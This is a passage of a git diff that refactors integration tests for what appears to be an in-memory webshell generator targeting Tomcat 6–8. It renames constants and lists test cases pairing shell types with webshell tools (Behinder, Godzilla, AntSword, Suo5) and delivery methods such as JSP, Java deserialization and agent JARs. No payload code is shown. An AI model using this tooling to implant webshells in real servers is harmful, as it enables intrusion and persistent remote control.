TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 5389a617..a48be659 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,54 +42,54 @@ public class Tomcat6ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 04375fcf..1d108064 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,54 +42,54 @@ public class Tomcat7ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 11c13e4f..02167922 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,74 +42,74 @@ public class Tomcat8ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, 